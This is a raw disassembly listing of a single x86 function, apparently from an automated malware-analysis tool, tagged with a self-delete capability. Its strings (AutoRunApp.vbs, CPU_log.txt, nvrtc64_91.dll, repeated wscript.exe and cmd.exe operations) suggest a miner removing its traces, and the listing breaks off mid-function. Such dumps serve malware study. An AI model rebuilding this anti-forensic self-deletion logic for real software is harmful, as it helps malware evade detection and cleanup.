Function at 0x4272d8
Capabilities:
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push 8
call fcn.00465366
add esp, 4
mov dword [ebp - 0x14], eax
mov edi, eax
mov esi, 0x4fa750
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4273a8
mov eax, 0x4fa750
push eax
push 2
mov ebx, 0x466b90
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x4273d1
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4273f7
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x42740b
push ebx
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x42747e
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x465950
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4fe135]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.004013a7
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4274cb
mov eax, 0x4fa750
push eax
push 2
mov ebx, 0x466bd0
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4274f5
push ebx
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push str.80000
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x428e3f
mov dword [0x52f0e8], 1
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fed5b
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4275c4
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4275d7
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4275fa
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fed8b
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427660
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427673
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427696
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.AMD_a.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4276fc
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42770f
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427732
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 0x24], eax
push str.AutoRunApp.vbs
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427787
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42779a
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4277bd
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 0x24], eax
push 0x4efeec
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427812
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427825
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427848
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42788f
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4278d6
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42791d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427964
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4279ab
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4279f2
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427a39
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427a80
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427ac7
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427b0e
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427b55
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427b9c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427be3
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427c2a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427c71
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427cb8
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427cff
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427d46
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427d8d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427dd4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427e1b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427e62
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427ea9
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427ef0
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427f37
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427f7e
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427fc5
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f090]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428031
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428058
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f090]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4280c4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4280eb
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f090]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428157
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42817e
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f098]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4281ea
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428211
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f098]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42827d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4282a4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f094]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428310
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428337
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f094]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4283a3
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4283ca
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f090
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f090]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428461
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428474
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428497
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4284fd
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428510
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428533
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428599
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4285ac
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4285cf
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f098
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f098]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428666
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428679
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42869c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428702
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428715
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428738
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc_builtins64_91.dll
push dword [ebp - 0x24]
